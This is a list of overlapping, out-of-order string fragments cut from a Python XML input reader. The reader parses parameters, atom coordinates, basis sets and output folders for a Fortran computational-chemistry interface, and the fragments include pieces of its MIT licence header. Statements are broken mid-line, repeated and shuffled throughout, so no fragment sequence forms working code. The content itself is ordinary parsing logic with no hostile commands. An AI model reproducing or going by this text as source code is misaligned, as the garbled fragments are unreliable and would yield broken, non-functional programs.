"FROM, * * OUT OF OR IN CONNECTION WITH THE",
"if __name__ == \"__main__\": if len(sys.argv) <= 1: print(\"Give the",
"a list array_values = self.read_array_values(value_text, argument_type) # get the final",
"value in enumerate(argument_values[argument_key]): temp[:, j] = \"{0:{width}}\".format(argument_values[argument_key][j], width=256) argument_values[argument_key] =",
"\"{}_{}\".format(abbreviation, parameter_name) else: argument_key = parameter_name if counter_present: # Check",
"at root, then use the value from extends roots if",
"argument_type.startswith(\"int\") or \\ argument_type.startswith(\"float\") or \\ argument_type.startswith(\"double\") # try to",
"None: self.parameter_values[counter_name] = 0 self.parameter_values[counter_name] += 1 return True else:",
"make the path more readable by removing extra slashes and",
"from the objects we are extending from and thirdly from",
"= [] # first read atom coordinates in 'atom' tags",
"have a list or a dictionary, value is: {}.\".format(value_text)) return",
"all* * copies or substantial portions of the Software. *",
"self.read_array_values(value_text, argument_type) # get the final size of the result",
"name as an input.\") else: inp = InputXML(filename = sys.argv[1],",
"\"\"\" value = InputXML.read_tag_or_attribute_value(self.root, parameter_definition.attrib['name']) # if value is not",
"success = self.add_counter_value(child.definition.attrib['local_index_counter']) if not success: print(\"Warning: Adding counter {}",
"-line.\") self.coordinates.extend(coordinates) self.types.extend(types) self.charges.extend(charges) if __name__ == \"__main__\": if len(sys.argv)",
"False # go through all the children and check if",
"perfomed 'parse' for the object?\") def parameter_values_are_equal(self, other, parameter_name): \"\"\"",
"elif argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value = str(value_text) else: value =",
"= (shape[0], shape[1]+1) else: new_shape = (shape[0]+1) new_array = numpy.empty(new_shape,",
"\"\"\" if self.root is not None: # check if current",
"'root' and store them as children in the 'self'. Note:",
"tag, directory = directory) else: if tag.tag == 'settings': child",
"set it as the input structure of the action if",
"parameter values of 'self' and 'other' are equal \"\"\" for",
"atom.find('y') if (y is not None): result[1] = float(y.text) z",
"new path. \"\"\" if original_directory is not None: complete_path =",
"# go through all the children and check if there",
"os.path.join(original_directory, path_text) else: complete_path = path_text directory_path = os.path.dirname(complete_path) #",
"try: if value_text is None: value = None elif argument_type.startswith('int'):",
"OTHERWISE, ARISING FROM, * * OUT OF OR IN CONNECTION",
"parameter_name): \"\"\" Get the value of the parameter from the",
"def read_atom_type(self, atom): if 'type' in atom.attrib: return atom.attrib['type'] else:",
"_parse_children(self, root, directory): \"\"\" Parse children of root xml-tag 'root'",
"* *----------------------------------------------------------------------------------\"\"\" # Input file reader import os import sys",
"self.definition.attrib['name'] == other.definition.attrib['name'] def children_are_equal(self, other): \"\"\" Check if children",
"value 'value' for the parameter with definition 'parameter_definition'. \"\"\" #",
"size for key in dictionary: # convert the indexing from",
"counter_present: # Check if the parameter value is None. If",
"= InputXML(filename = sys.argv[1], definition_filename = os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\") import dage_fortran dage_fortran.python_interface.run(**inp.prepare())",
"to any person obtaining a copy * * of this",
"in self.root and self.extends_roots. Stores the found child-xml classes to",
"print(\"PARAMETER is not valid\", parameter_definition.attrib['name']) # if the object has",
"a subfunctionality of function 'parse' and it should not be",
"are at the root, convert the values with type list",
"as other \"\"\" return type(self) == type(other) \\ and self.definition.attrib['name']",
"value[i] = int(arg) if argument_type.startswith('float'): value[i] = float(arg) if argument_type.startswith('double'):",
"KIND, EXPRESS OR * * IMPLIED, INCLUDING BUT NOT LIMITED",
"self, definition = definition, input_object = tag, directory = directory)",
"to absolute ones if not os.path.isabs(self.parameter_values[parameter_name]): # join the directory",
"if SettingsGenerator.generate_fortran(parameter_definition): value[i] = str(arg) else: value[i] = str(arg) if",
"z = atom.find('z') if (z is not None): result[2] =",
"if (x is not None): result[0] = float(x.text) y =",
"tag_name): \"\"\" Retrieve the definition tag for a tag with",
"in self.parameter_values: if self.parameter_values[counter_name] is None: self.parameter_values[counter_name] = 0 self.parameter_values[counter_name]",
"be equal if not equal_found: return False return True def",
"of size if is_number: result = [0] * size else:",
"the final size of the result array from the parameter",
"while path_text is not None: # try to retrieve the",
"to a list array_values = self.read_array_values(value_text, argument_type) # get the",
"if hasattr(child, 'tag_type') and child.tag_type == tagtype and hasattr(child, 'name')",
"get the final size of the result array from the",
"Check if children of 'self' and 'other' are equal with",
"sys import xml.etree.ElementTree as ET import numpy, ast from .generate_objects",
"= definition, input_object = tag, directory = directory) elif tag.tag",
"tag_type = 'structure' definition_tag = 'structure_input' atom_types = {'H':1, 'He':2,",
"> 1e-10: return False elif self_value[i] != other_value[i]: return False",
"\"\"\" for parameter_definition in self.definition.findall('parameter'): if parameter_definition.attrib['name'] == parameter_name: return",
"0.0] # ignore empty lines if (len(xyz_text) == 1 and",
"other): \"\"\" Check if two InputXML objects are equal with",
"'extends_roots') and self.extends_roots is not None\\ and hasattr(self, 'extends_directories') and",
"parameter_name == 'output_folder' and not os.path.exists(self.parameter_values[parameter_name]): os.makedirs(self.parameter_values[parameter_name]) for child in",
"if 'minval' in parameter_definition.attrib: minval = parameter_definition.attrib['minval'] if value <",
"= 'structure_input' atom_types = {'H':1, 'He':2, 'Li':3, 'Be':4, 'B':5, 'C':6,",
"# check that value is within given limits self.check_value_range(final_value, parameter_definition)",
"\"\"\" Read the value of the parameter first from the",
"to use, copy, modify, merge, publish, distribute, sublicense, and/or sell",
"(len(xyz_text) == 4): types.append(self.get_atom_type(xyz_text[0])) charges.append(self.get_atom_charge(xyz_text[0])) xyz_coord[0] = float(xyz_text[1]) xyz_coord[1] =",
"for the child object 'child' of 'self' by one \"\"\"",
"None: definition_found = False for definition_tag in self.definition.findall('class'): if definition_tag.attrib['name']",
"value_text.lower() == 'true': value = True else: value = bool(arg)",
"'extends_path' path_text = InputXML.read_tag_or_attribute_value(self.root, 'extends_path') self.extends_roots = [] self.extends_directories =",
"in root: if tag.tag not in self.parameter_values: # try to",
"def check_value_range(self, value, parameter_definition): if value is not None: if",
"else: sys.exit(\"Error: The mandatory attribute 'type' not found in 'atom'-tag\")",
"as ET import numpy, ast from .generate_objects import SettingsGenerator from",
"self.directory = None if definition is not None: self.definition =",
"check if there is equal for other_child in other.children: if",
"argument_values[argument_key] = numpy.array(temp, dtype=\"c\").T elif type(argument_values[argument_key]) == list: temp_array =",
"dictionary 'arguments_values'. \"\"\" if 'abbreviation' in self.definition.attrib: abbreviation = self.definition.attrib['abbreviation']",
"= atom.find('z') if (z is not None): result[2] = float(z.text)",
"value is None, the # parameter is not present in",
"This function converts the values of the parameters to a",
"* * * * Permission is hereby granted, free of",
"definitions are stored to 'self.child_definitions' and 'self.parameter_definitions', respectively. User must",
"of same type if type(self) != type(other): raise InputProgrammingError(\"The objects",
"argument_type) # get the final size of the result array",
"success = self.add_counter_value(child.definition.attrib['counters']) if not success: print(\"Warning: Adding counter {}",
"mandatory attribute 'type' not found in 'atom'-tag\") def read_atoms_coordinates_and_types(self, atoms):",
"def handle_folders(self): \"\"\" Creates missing folders and replaces relative paths",
"is not specified. if self.parameter_values[parameter_name] is not None: if argument_key",
"not None: for i, extends_root in enumerate(self.extends_roots): self._parse_children(extends_root, self.extends_directories[i]) #",
"of the result array from the parameter definition size =",
"we are extending from and thirdly from the default value",
"has attribute or child named 'path' and/or 'extends_path'. \"\"\" if",
"PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE *",
"False return True else: return self_value == other_value def all_parameter_values_are_equal(self,",
"value = str(value_text) elif argument_type.startswith('bool'): if value_text.lower() == 'false': value",
"objects compared with parameter_values_are_equal\"+ \" are not of same type.\")",
"os.path.normpath(path) # if the output folder does not exist, create",
"value = None elif argument_type.startswith('int'): value = int(value_text) elif argument_type.startswith('float'):",
"None: break # fall back to default value/or None if",
"are stored to 'self.child_definitions' and 'self.parameter_definitions', respectively. User must note",
"11, 'Mg':12, 'Al':13, 'Si':14, 'P':15, 'S':16, 'Cl':17, 'Ar':18} def read_input(self):",
"else: valid_options += (\"{}: {} \".format(option.attrib['value'], option.attrib['text_value'])) sys.exit('Error: The value",
"atom_charge = get_atom_charge(xyz_text[0]) result[0] = float(xyz_text[1]) result[1] = float(xyz_text[2]) result[2]",
"add the tag classes that are not found in the",
"# if the input definition was not found, try to",
"in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['local_index_counter']) if not success: print(\"Warning: Adding",
"= directory) self.children.append(child) self.child_definitions.append(tag.tag) self.add_counters(child) child.parse() def parse(self): \"\"\" Parse",
"removing extra slashes and dots self.parameter_values[parameter_name] = os.path.normpath(path) # if",
"hasattr(child, 'tag_type') and child.tag_type == tagtype and hasattr(child, 'name') and",
"[] self.child_definitions = [] # handle the parameters first for",
"counter_name): \"\"\" Add value of counter parameter with name=='counter_name' by",
"== 1 and xyz_text[0] == \"\"): continue elif (len(xyz_text) ==",
"the parameter with definition 'parameter_definition'. \"\"\" # convert the value",
"children from it # and store them to 'self' if",
"so, subject to the following conditions: * * * *",
"is larger than the largest allowed value: {}', parameter_definition.attrib['name'], value,",
"if definition_tag.attrib['name'] not in self.child_definitions: child = InputXML(parent_object = self,",
"is found, break the iteration if value is not None:",
"name=='counter_name' by one. If the counter is not found in",
"value is not None: if 'minval' in parameter_definition.attrib: minval =",
".generate_objects import SettingsGenerator from collections import OrderedDict class InputProgrammingError(Exception): pass",
"tag.tag == 'basis_set': child = BasisSetXML(parent_object = self, definition =",
"value is None: if 'default' in parameter_definition.attrib: value = parameter_definition.attrib['default']",
"tag has an attribute or child with # name 'extends_path'",
"definition = scf_energetics_definition) scf_energetics.root = scf_energetics.retrieve_path(scf_energetics_filename, scf_energetics.directory) root_object.children.append(scf_energetics) root_object.child_definitions.append('scf_energetics') root_object.add_counters(scf_energetics)",
"is hereby granted, free of charge, to any person obtaining",
"self.definition.find('{}_input'.format(tag.tag)) # if the input definition was not found, try",
"is not None: self.definition = definition else: sys.exit(\"Definition tag '{}'",
"if argument_type.startswith('double'): value[i] = float(arg) if argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value[i]",
"self.retrieve() def prepare(self): \"\"\" Prepare the input to have all",
"child.handle_folders() def get_interface_argument_values(self, argument_values, parameter_definitions = {}, abbreviation = None,",
"is not None: if os.path.exists(definition_filename): definition = ET.parse(definition_filename) self.definition =",
"if parameter_name in ['output_folder', 'input_folder', 'folder_path']: if self.parameter_values[parameter_name] is not",
"temp_array = numpy.array(argument_values[argument_key], order='F').T shape = temp_array.shape if len(shape) ==",
"if tag.tag not in self.parameter_values: # try to find the",
"if SettingsGenerator.is_valid_parameter(parameter_definition): self.set_parameter_value(parameter_definition, self.read_parameter_value(parameter_definition)) self.parameter_definitions[parameter_definition.attrib['name']] = parameter_definition if parameter_definition.attrib['name'] ==",
"same parameter: {}\".format(argument_key)) else: argument_values[argument_key] = self.parameter_values[parameter_name] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name]",
"and 'self.parameter_definitions', respectively. User must note that this function is",
"= path_text # check if the path exists if os.path.exists(complete_path):",
"the local object, it is seached from the parent objects.",
"for child in self.children: equal_found = False # go through",
"argument_key = parameter_name if counter_present: # Check if the parameter",
"else: sys.exit(\"Input definition filename does not exist: {}\".format(definition_filename)) elif self.parent_object",
"parameter_definition.attrib: minval = parameter_definition.attrib['minval'] if value < float(minval): sys.exit('Error: argument",
"argument_type): is_number = argument_type.startswith(\"int\") or \\ argument_type.startswith(\"float\") or \\ argument_type.startswith(\"double\")",
"counter_name in self.parameter_values: if self.parameter_values[counter_name] is None: self.parameter_values[counter_name] = 0",
"'_parse_children' calls. \"\"\" self.parameter_values = OrderedDict() self.parameter_definitions = OrderedDict() self.children",
"options: if 'value' in option.attrib and value_text == option.attrib['value']: return",
"if path_text is not None and path_text != \"\": try:",
"* of this software and associated documentation files (the \"Software\"),",
"in self.parameter_values: if SettingsGenerator.generate_fortran(self.parameter_definitions[parameter_name]): if abbreviation is not None: argument_key",
"self.set_parameter_value(parameter_definition, self.read_parameter_value(parameter_definition)) self.parameter_definitions[parameter_definition.attrib['name']] = parameter_definition if parameter_definition.attrib['name'] == 'name': self.name",
"value to right data type and check that it is",
"we are at the root, convert the values with type",
"\"\"\" Check if children of 'self' and 'other' are equal",
"read_atoms_coordinates_and_types(self, atoms): xyz = atoms.find('xyz') coordinates = [] types =",
"Prepare the input to have all things required to call",
"set the parameter value self.parameter_values[parameter_definition.attrib['name']] = final_value @staticmethod def read_tag_or_attribute_value(root,",
"InputXML objects are equal with each other \"\"\" return self.is_of_same_type_as(other)\\",
"software and associated documentation files (the \"Software\"), to deal *",
"= id_value for child in self.children: child.fill_id_values() def get_tagid_for_name(self, tagtype,",
"molecular orbitals as dict try: dictionary = ast.literal_eval(\"{\"+ value_text +\"}\")",
"'S':16, 'Cl':17, 'Ar':18} def read_input(self): charge = self.root.find('charge') # read",
"children from the xml-root of this object and store them",
"self.add_counter_value(child.definition.attrib['global_index_counter']) if not success: print(\"Warning: Adding counter {} failed. Counter",
"check that value is within given limits self.check_value_range(final_value, parameter_definition) #",
"the value to right data type and check that it",
"BasisSetXML(InputXML): tag_type = 'basis_set' definition_tag = 'basis_set_input' class SettingsXML(InputXML): tag_type",
"in all* * copies or substantial portions of the Software.",
"values for both input objects self_value = self.get_parameter_value(parameter_name) other_value =",
"is not None: return self.parent_object.add_counter_value(counter_name) else: return False def get_counter_value(self,",
"is None: return self else: return self.parent_object.get_root_object() class SCFEnergeticsXML(InputXML): tag_type",
"EXPRESS OR * * IMPLIED, INCLUDING BUT NOT LIMITED TO",
"and path_text != \"\": try: self.root = self.retrieve_path(path_text, self.directory) self.directory",
"self.get_root_object() # if scf energetics file exists, parse it and",
"the correct definition tag by using the \"*_input\"-format definition =",
"return self.parent_object.get_root_object() class SCFEnergeticsXML(InputXML): tag_type = 'scf_energetics' definition_tag = 'scf_energetics_input'",
"if definition_filename is None: definition_filename = os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\" if os.path.exists(filename): self.tree",
"self.parameter_definitions[parameter_definition.attrib['name']] = parameter_definition if parameter_definition.attrib['name'] == 'name': self.name = self.parameter_values['name']",
"argument_values[argument_key] is None: del argument_values[argument_key] def add_counters(self, child): \"\"\" Add",
"if id_value != -1: self.parameter_values[parameter_name] = id_value for child in",
"is None. If the value is None, the # parameter",
"else: value = bool(arg) except ValueError: sys.exit('Error: parameter with type",
"smaller than the smallest allowed value: {}', parameter_definition.attrib['name'], value, float(minval))",
"name is not None and name != \"\": id_value =",
"types = [] charges = [] if (xyz is not",
"SettingsGenerator.generate_fortran(child.definition): child.get_interface_argument_values(argument_values, parameter_definitions, abbreviation = abbreviation, counter_present = counter_present) #",
"4): atom_type = get_atom_type(xyz_text[0]) atom_charge = get_atom_charge(xyz_text[0]) result[0] = float(xyz_text[1])",
"numpy.empty((256, len(argument_values[argument_key])+1), dtype=\"c\") for j, value in enumerate(argument_values[argument_key]): temp[:, j]",
"parameter_definition.attrib['name'], value_text)) return value def check_value_range(self, value, parameter_definition): if value",
"value = False elif value_text.lower() == 'true': value = True",
"is not None): self.root = input_object elif filename is not",
"= 'input' definition_tag = 'input_definition' def __init__(self, filename = None,",
"to a form suitable for the Fortran interface. The converted",
"None): self.charge = int(charge.text) else: self.charge = 0 # read",
"tag.tag == 'action': child = ActionXML(parent_object = self, definition =",
"converted values are stored to input-output dictionary 'arguments_values'. \"\"\" if",
"= self.parameter_definitions[parameter_name] else: if argument_key not in parameter_definitions: argument_values[argument_key] =",
"CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS",
"* * SOFTWARE. * *----------------------------------------------------------------------------------\"\"\" # Input file reader import",
"not None: break # fall back to default value/or None",
"is not None: argument_values[argument_key].append(self.parameter_values[parameter_name]) else: argument_values[argument_key] = [self.parameter_values[parameter_name]] parameter_definitions[argument_key] =",
"= atoms.find('xyz') coordinates = [] types = [] charges =",
"'self'. \"\"\" if directory is not None: complete_path = os.path.join(directory,",
"OTHER DEALINGS IN THE * * SOFTWARE. * *----------------------------------------------------------------------------------\"\"\" #",
"values. for definition_tag in self.definition.findall('class'): if definition_tag.attrib['name'] not in self.child_definitions:",
"[] charges = [] if (xyz is not None): xyz_lines",
"tag.text elif name in root.attrib: value = root.attrib[name] return value",
"it and add as a child of the root #",
"= 'settings' definition_tag = 'settings_input' class StructureXML(InputXML): tag_type = 'structure'",
"from path_text try: self.extends_roots.append(self.retrieve_path(path_text, directory)) self.extends_directories.append(self.form_new_directory_path(path_text, directory)) except Exception as",
"from the parsed parameters. If the parameter is not found",
"structure.root = structure.retrieve_path(structure_filename, structure.directory) root_object.children.append(structure) root_object.child_definitions.append('structure') root_object.add_counters(structure) structure.parse() structure_id_definition =",
"original_directory is not None: complete_path = os.path.join(original_directory, path_text) else: complete_path",
"as e: sys.exit(str(e)) # prepare for the next loop by",
"return True def __eq__(self, other): \"\"\" Check if two InputXML",
"or attribute with name 'name' in an xml. If attribute",
"with # name 'path' path_text = InputXML.read_tag_or_attribute_value(self.root, 'path') # try",
"float(xyz_text[1]) result[1] = float(xyz_text[2]) result[2] = float(xyz_text[3]) else: sys.exit(\"Error: Too",
"values of 'self' and 'other' are equal \"\"\" for parameter_name",
"parameter_name) else: argument_key = parameter_name if counter_present: # Check if",
"other.children: if child == other_child: equal_found = True # if",
"the values \".format(parameter_name)+ \\ \"of the object. Have you perfomed",
"of the action if os.path.exists(os.path.join(self.directory, scf_energetics_filename)): scf_energetics_definition = root_object.definition.find('scf_energetics_input') scf_energetics",
"is smaller than the smallest allowed value: {}', parameter_definition.attrib['name'], value,",
"for parameter_name in self.parameter_values: if not self.parameter_values_are_equal(other, parameter_name): return False",
"<NAME>, <NAME>, <NAME> * * * * Permission is hereby",
"raise InputProgrammingError(\"The objects compared with parameter_values_are_equal\"+ \" are not of",
"structure_filename = \\ os.path.join(self.parameter_values['output_folder'], \"structure.xml\") # if structure file exists,",
"tree.getroot() else: raise Exception(\"Error: '{}' tag path '{}' does not",
"sublicense, and/or sell * * copies of the Software, and",
"self.parent_object.directory else: self.directory = None if definition is not None:",
"child = BasisSetXML(parent_object = self, definition = definition, input_object =",
"parameter from the parsed parameters. If the parameter is not",
"in 'atom'->'xyz' -tag.\") self.coordinates.append(result) self.types.append(atom_type) self.charges.append(atom_charge) def get_atom_type(self, atom_type_text): return",
"definition = self.definition.find('{}_input'.format(tag.tag)) # if the input definition was not",
"THE WARRANTIES OF MERCHANTABILITY, * * FITNESS FOR A PARTICULAR",
"return int(self.atom_types[atom_type_text]) def get_atom_charge(self, atom_type_text): return float(self.atom_types[atom_type_text]) def read_atom_type(self, atom):",
"None): \"\"\" Creates a new directory path from 'path_text' and",
"not in the values \".format(parameter_name)+ \\ \"of the object. Have",
"the root-xml tags stored in self.root and self.extends_roots. Stores the",
"the action if os.path.exists(os.path.join(self.directory, structure_filename)): structure_definition = root_object.definition.find('structure_input') structure =",
"= OrderedDict() self.parameter_definitions = OrderedDict() self.children = [] self.child_definitions =",
"= parameter_name[:parameter_name.rfind('_')] name_tag_found = tagtype+\"_name\" in self.parameter_values if name_tag_found: name",
"root xml-tag 'root' and store them as children in the",
"'structure': child = StructureXML(parent_object = self, definition = definition, input_object",
"def read_tag_or_attribute_value(root, name): \"\"\" Reads the value of a tag",
"{} and value {} is smaller than the smallest allowed",
"{}\".format(argument_key)) else: argument_values[argument_key] = self.parameter_values[parameter_name] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] for child",
"and dots self.parameter_values[parameter_name] = os.path.normpath(path) # if the output folder",
"continue elif (len(xyz_text) == 4): types.append(self.get_atom_type(xyz_text[0])) charges.append(self.get_atom_charge(xyz_text[0])) xyz_coord[0] = float(xyz_text[1])",
"self.get_tagid_for_name(tagtype, name) if id_value != -1: self.parameter_values[parameter_name] = id_value for",
"argument_type.startswith('float'): value[i] = float(arg) if argument_type.startswith('double'): value[i] = float(arg) if",
"float(arg) if argument_type.startswith('double'): value[i] = float(arg) if argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition):",
"= (shape[0], shape[1], shape[2]+1) elif len(shape) == 2: new_shape =",
"hasattr(self, 'parameter_values') and parameter_name in self.parameter_values: return self.parameter_values[parameter_name] else: raise",
"len(self_value) != len(other_value): return False for i in range(len(self_value)): if",
"\"\"\" for tag in root: if tag.tag not in self.parameter_values:",
"the tag has attribute or child named 'path' and/or 'extends_path'.",
"None): result[2] = float(z.text) xyz = atom.find('xyz') atom_type = self.read_atom_type(atom)",
"1e-10: return False elif self_value[i] != other_value[i]: return False return",
"self.all_parameter_values_are_equal(other)\\ and self.children_are_equal(other) def __ne__(self, other): return not self.__eq__(other) def",
"None, \\ directory = None): if (input_object is not None):",
"not None: for child in self.parent_object.children: if hasattr(child, 'tag_type') and",
"None parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else: if argument_key in argument_values: print(\"Warning:",
"# read relative charge if (charge is not None): self.charge",
"counter {} failed. Counter not found.\".format(child.definition.attrib['counters'])) def add_counter_value(self, counter_name): \"\"\"",
"get_option_value(self, value_text, parameter_definition): options = parameter_definition.findall('option') result = None if",
"0, in that case # we are not finding the",
"parameter_definition): options = parameter_definition.findall('option') result = None if len(options) >",
"in child.definition.attrib or 'counters' in child.definition.attrib: counter_present = True if",
"float(y.text) z = atom.find('z') if (z is not None): result[2]",
"to find the correct definition tag by using the \"*_input\"-format",
"in parameter_definition.attrib: maxval = parameter_definition.attrib['maxval'] if value > float(maxval): sys.exit('Error:",
"[] if (xyz is not None): xyz_lines = xyz.text.splitlines() for",
"type(self_value[i]) == numpy.float16: if abs(self_value[i] - other_value[i]) > 1e-10: return",
"True if SettingsGenerator.generate_fortran(child.definition): child.get_interface_argument_values(argument_values, parameter_definitions, abbreviation = abbreviation, counter_present =",
"= definition elif definition_filename is not None: if os.path.exists(definition_filename): definition",
"self.parameter_values[parameter_name] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] for child in self.children: if 'global_index_counter'",
"in self.parameter_values: if parameter_name in ['output_folder', 'input_folder', 'folder_path']: if self.parameter_values[parameter_name]",
"{'H':1, 'He':2, 'Li':3, 'Be':4, 'B':5, 'C':6, 'N':7, 'O':8, 'F':9, 'Ne':10,",
"{}', parameter_definition.attrib['name'], value, float(maxval)) def get_option_value(self, value_text, parameter_definition): options =",
"self.fill_id_values() kwargs = OrderedDict() self.get_interface_argument_values(kwargs) return kwargs def form_new_directory_path(self, path_text,",
"if arg.lower() == 'false': value[i] = False elif arg.lower() ==",
"else: argument_values[argument_key] = [self.parameter_values[parameter_name]] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else: if argument_key",
"value: {}', parameter_definition.attrib['name'], value, float(minval)) if 'maxval' in parameter_definition.attrib: maxval",
"+\"]\") except: raise Exception(\"Bad form of array, should have a",
"atom.find('z') if (z is not None): result[2] = float(z.text) xyz",
"in root.attrib: value = root.attrib[name] return value def read_parameter_value(self, parameter_definition):",
"SHALL THE * * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE",
"Creates missing folders and replaces relative paths with non-relative ones",
"of 'self' by one \"\"\" if 'global_index_counter' in child.definition.attrib: success",
"else: return self.parent_object.get_root_object() class SCFEnergeticsXML(InputXML): tag_type = 'scf_energetics' definition_tag =",
"should not be used independently. \"\"\" for tag in root:",
"in 'atom' tags for i, atom in enumerate(self.root.findall('atom')): self.read_atom_coordinates_and_type(atom) #",
"parse the children from the xml-root of this object and",
"path_text # check if the path exists if os.path.exists(complete_path): tree",
"True else: if self.parent_object is not None: return self.parent_object.add_counter_value(counter_name) else:",
"counter_name in self.parameter_values: return self.parameter_values[counter_name] else: if self.parent_object is not",
"SCFEnergeticsXML(InputXML): tag_type = 'scf_energetics' definition_tag = 'scf_energetics_input' class ActionXML(InputXML): tag_type",
"are not of same type.\") # get the values for",
"the molecular orbitals as dict try: dictionary = ast.literal_eval(\"{\"+ value_text",
"x = atom.find('x') if (x is not None): result[0] =",
"if not, the children cannot be equal if not equal_found:",
"self.definition.find('{}'.format(tag_name)) return definition def _parse_children(self, root, directory): \"\"\" Parse children",
"FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT",
"not None: self.definition = definition else: sys.exit(\"Definition tag '{}' not",
"self.parent_object.children: if hasattr(child, 'tag_type') and child.tag_type == tagtype and hasattr(child,",
"attribute or tag is not found, None is returned. \"\"\"",
"= None): if (input_object is not None): self.root = input_object",
"objects are of same type if type(self) != type(other): raise",
"self.parameter_values: scf_energetics_filename = \\ os.path.join(self.parameter_values['output_folder'], \"scf_energetics.xml\") root_object = self.get_root_object() #",
"go through all the children and check if there is",
"elif argument_type.startswith('double'): value = float(value_text) elif argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value",
"values for the child object 'child' of 'self' by one",
"slashes and dots self.parameter_values[parameter_name] = os.path.normpath(path) # if the output",
"Returns the new path. \"\"\" if original_directory is not None:",
"self_value[i] != other_value[i]: return False return True else: return self_value",
"'value' for the parameter with definition 'parameter_definition'. \"\"\" # convert",
"BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * *",
"self.extends_roots is not None: for extends_root in self.extends_roots: value =",
"value is not None: break # fall back to default",
"def read_array_values(self, value_text, argument_type): is_number = argument_type.startswith(\"int\") or \\ argument_type.startswith(\"float\")",
"self.parameter_definitions[parameter_name] else: if argument_key in argument_values: print(\"Warning: Found two (or",
"in 'atom'-tag\") def read_atoms_coordinates_and_types(self, atoms): xyz = atoms.find('xyz') coordinates =",
"import sys import xml.etree.ElementTree as ET import numpy, ast from",
"self.definition.findall('class'): if definition_tag.attrib['name'] not in self.child_definitions: child = InputXML(parent_object =",
"Adding counter {} failed. Counter not found.\".format(child.definition.attrib['local_index_counter'])) if 'counters' in",
"or too few coordinates in 'atoms'->'xyz' -line.\") self.coordinates.extend(coordinates) self.types.extend(types) self.charges.extend(charges)",
"def form_new_directory_path(self, path_text, original_directory = None): \"\"\" Creates a new",
"is seached from the parent objects. \"\"\" if counter_name in",
"child xml-tags of the root-xml tags stored in self.root and",
"If the value is None, the # parameter is not",
"structure_id_definition = self.get_parameter_definition('structure_id') self.set_parameter_value(structure_id_definition, structure.id) class BasisSetXML(InputXML): tag_type = 'basis_set'",
"value[i] = False elif arg.lower() == 'true': value[i] = True",
"self.directory = self.form_new_directory_path(path_text, self.directory) except Exception as e: sys.exit(str(e)) #",
"0.0] x = atom.find('x') if (x is not None): result[0]",
"is of same type as other \"\"\" return type(self) ==",
"if argument_type.startswith('bool'): if arg.lower() == 'false': value[i] = False elif",
"* Permission is hereby granted, free of charge, to any",
"path_text is not None: # try to retrieve the content",
"parse(self): \"\"\" Parse paremeters and child xml-tags of the root-xml",
"'settings_input' class StructureXML(InputXML): tag_type = 'structure' definition_tag = 'structure_input' atom_types",
"= self.convert_argument_value(value, parameter_definition) # check that value is within given",
"with definition and value \"\"\" for child in self.children: equal_found",
"with name '{}'. Ignoring.\".format(tag.tag)) continue else: child = InputXML(parent_object =",
"False return True def is_of_same_type_as(self, other): \"\"\" Check if self",
"parameter_definition) # set the parameter value self.parameter_values[parameter_definition.attrib['name']] = final_value @staticmethod",
"self.parent_object.get_root_object() class SCFEnergeticsXML(InputXML): tag_type = 'scf_energetics' definition_tag = 'scf_energetics_input' class",
"not equal_found: return False return True def __eq__(self, other): \"\"\"",
"(y is not None): result[1] = float(y.text) z = atom.find('z')",
"\"\"\" if hasattr(self, 'parameter_values') and parameter_name in self.parameter_values: return self.parameter_values[parameter_name]",
"if definition_tag.attrib['name'] == tag.tag: definition = definition_tag definition_found = True",
"== numpy.float64 or type(self_value[i]) == numpy.float32 or type(self_value[i]) == numpy.float16:",
"self.parameter_values[parameter_name] is not None: # convert the non absolute paths",
"= SCFEnergeticsXML(parent_object = root_object, \\ definition = scf_energetics_definition) scf_energetics.root =",
"(charge is not None): self.charge = int(charge.text) else: self.charge =",
"to the following conditions: * * * * The above",
"self is of same type as other \"\"\" return type(self)",
"tag_type = 'scf_energetics' definition_tag = 'scf_energetics_input' class ActionXML(InputXML): tag_type =",
"[] # first read atom coordinates in 'atom' tags for",
"does not exist\".format(self.tag_type, complete_path)) return directory_path def retrieve_path(self, path_text, directory):",
"== \"\"): continue elif (len(xyz_text) == 4): types.append(self.get_atom_type(xyz_text[0])) charges.append(self.get_atom_charge(xyz_text[0])) xyz_coord[0]",
"def get_atom_type(self, atom_type_text): return int(self.atom_types[atom_type_text]) def get_atom_charge(self, atom_type_text): return float(self.atom_types[atom_type_text])",
"SettingsGenerator.has_options(parameter_definition): value_text = self.get_option_value(value_text, parameter_definition) if SettingsGenerator.is_array(parameter_definition): if value_text is",
"must note that this function is recursive as it calls",
"counter_present = False): \"\"\" This function converts the values of",
"self.charge = 0 # read coordinates and atom types self.coordinates",
"definition.getroot() else: sys.exit(\"Input definition filename does not exist: {}\".format(definition_filename)) elif",
"== name: return child.id return -1 def get_parameter_definition(self, parameter_name): \"\"\"",
"argument_values[argument_key] = [self.parameter_values[parameter_name]] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else: if argument_key not",
"value {} is smaller than the smallest allowed value: {}',",
"root_object, \\ definition = scf_energetics_definition) scf_energetics.root = scf_energetics.retrieve_path(scf_energetics_filename, scf_energetics.directory) root_object.children.append(scf_energetics)",
"= directory elif filename is not None and os.path.exists(filename): self.directory",
"If the parameter is not found an InputProgrammingError is raised.",
"self.read_parameter_value(parameter_definition)) self.parameter_definitions[parameter_definition.attrib['name']] = parameter_definition if parameter_definition.attrib['name'] == 'name': self.name =",
"not found from parent definition tree\", self.definition_tag) else: sys.exit(\"Definition tag",
"root: if tag.tag not in self.parameter_values: # try to find",
"self.parameter_values: if self.parameter_values[counter_name] is None: self.parameter_values[counter_name] = 0 self.parameter_values[counter_name] +=",
"False elif self_value[i] != other_value[i]: return False return True else:",
